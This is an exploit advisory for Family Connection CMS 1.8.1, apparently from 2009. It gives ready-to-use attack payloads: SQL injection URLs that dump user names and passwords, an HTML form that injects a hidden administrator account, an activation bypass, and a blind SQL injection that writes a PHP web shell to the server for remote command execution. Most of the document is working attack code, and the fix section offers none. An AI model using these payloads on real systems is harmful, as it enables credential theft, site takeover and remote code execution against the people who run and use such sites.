******* Salvatore \"drosophila\" Fresta *******
[+] Application: Family Connection
[+] Version: 1.8.1
[+] Website: http://www.familycms.com
[+] Bugs: [A] Multiple SQL Injection
[B] Create Admin User
[C] Blind SQL Injection
[+] Exploitation: Remote
[+] Date: 25 Mar 2009
[+] Discovered by: Salvatore \"drosophila\" Fresta
[+] Author: Salvatore \"drosophila\" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com
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[+] Menu
1) Bugs
2) Code
3) Fix
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[+] Bugs
- [A] Multiple SQL Injection
[-] Requisites: magic_quotes_gpc = on/off
These bugs allows a registered user to view
username and password of all registered users.
- [B] Create Admin User
[-] Requisites: magic_quotes_gpc = off
[-] File affected: register.php, activate.php
This bug allow a guest to create an account with
administrator privileges.
- [C] Blind SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: lostpw.php
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[+] Code
- [A] Multiple SQL Injection
http://www.site.com/path/addressbook.php?letter=-1%25\' UNION ALL SELECT 1,2,NULL,username,5,password,email FROM fcms_users%23
http://www.site.com/path/recipes.php?category=1&id=1 UNION SELECT 1,2,username,password,5,6 FROM fcms_users
http://www.site.com/path/home.php?poll_id=-1 UNION ALL SELECT 1,NULL,3,CONCAT(username, 0x3a, password) FROM fcms_users%23
- [B] Create Admin User
<html>
<head>
<title>Family Connection 1.8.1 Create Admin User Exploit</title>
</head>
<body>
<p>This exploit creates an user with administrator privileges using follows information:<br>
Username: root<br>
Password: toor<br>
<form action=\"http://localhost/fcms/register.php\" method=\"POST\">
<input type=\"hidden\" name=\"username\" value=\"blabla\">
<input type=\"hidden\" name=\"password\" value=\"blabla\">
<input type=\"hidden\" name=\"email\" value=\"blabla@blabla.blabla\">
<input type=\"hidden\" name=\"fname\" value=\"blabla\">
<input type=\"hidden\" name=\"lname\" value=\"blabla\">
<input type=\"hidden\" name=\"year\" value=\"00-00-000\',\'fakeuser\',\'fakepassword\'), (1, NOW(), \'root\', \'root\', \'root@owned.com\', \'00-00-00\', \'root\', \'7b24afc8bc80e548d66c4e7ff72171c5\')#\'\">
<input type=\"submit\" name=\"submit\" value=\"Exploit\">
</form>
</body>
</html>
To activate accounts:
http://www.site.com/path/activate.php?uid=1 or 1=1&code=
[C] Blind SQL Injection
POST /path/lostpw.php HTTP/1.1\\r\\n\"
Host: www.site.com\\r\\n\"
Content-Type: application/x-www-form-urlencoded\\r\\n\"
Content-Length: 193\\r\\n\\r\\n\"
email=-1\' UNION ALL SELECT \'<?php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre><br><br>\";?>\',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE \'/var/www/htdocs/path/rce.php\'#
To execute commands:
http://www.site.com/path/rce.php?cmd=ls
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[+] Fix
No fix.
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